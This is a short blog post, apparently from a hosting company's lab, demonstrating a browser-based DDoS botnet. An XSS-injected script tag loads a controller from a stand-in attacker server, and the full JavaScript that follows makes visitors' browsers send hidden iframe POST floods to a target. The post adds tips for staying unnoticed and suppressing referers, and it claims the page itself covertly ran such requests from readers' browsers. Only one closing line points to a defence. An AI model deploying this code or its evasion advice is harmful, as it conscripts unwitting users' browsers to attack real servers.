Your browser may be part of an evil DDoS bot-net!

Okay, say we can inject the following HTML into a fairly popular XSS vulnerable blog:

<script type="text/javascript" src="https://attackers-server.com/controller.js"></script>

Visitors will load the following script from the attacker’s server:

function loadIframe(i,obj) {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = 'about:blank';
    document.body.appendChild(iframe);
    var postdata = '<form method="'+htmlEntities(obj.method)+'" action="'+htmlEntities(obj.url)+'">';
    for (var key in obj.parameters) {
        if (obj.parameters.hasOwnProperty(key)) {
            postdata += '<input type="hidden" name="'+htmlEntities(key)+'" value="'+htmlEntities(obj.parameters[key])+'" />';
        }
    }
    postdata += '</form>';
    if (iframe.contentWindow.document.body) {
        iframe.contentWindow.document.body.innerHTML = postdata;
        iframe.contentWindow.document.forms[0].submit();
    }
}

function loadIframes(obj) {
    for (var i=0;i<obj.count;i++) {
        loadIframe(i,obj);
    }
}

function htmlEntities(str) {
    return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}

function addEvent(element, eventName, fn) {
    if (element.addEventListener)
        element.addEventListener(eventName, fn, false);
    else if (element.attachEvent)
        element.attachEvent('on' + eventName, fn);
}

addEvent(window, 'load', function(){
    loadIframes({
        "method":"POST",
        "url":"http://target-server.com/contact.php",
        "parameters":{"email":"aaa@bbb.ccc","message":"blabla"},
        "count":10
    });
});

If you keep the count fairly low then the visitors of the XSS vulnerable blog might not even notice it. Note that “iframe.src = ‘about:blank';” in combination with “iframe.contentWindow.document.body.innerHTML = postdata;” will avoid the referer to be sent, even on https-to-https connections (referers are never sent on https-to-http connections).

NB: Your browser has been used as a DDoS bot, attacking one of my own websites with 20 post requests to a login page. This all happened when you loaded this page and you probably did not even notice, or did you?

If you want to prevent this vulnerability you may want to use the Mozilla Firefox RequestPolicy plug-in.

The post Your browser may be part of an evil DDoS bot-net! appeared first on LeaseWeb Labs.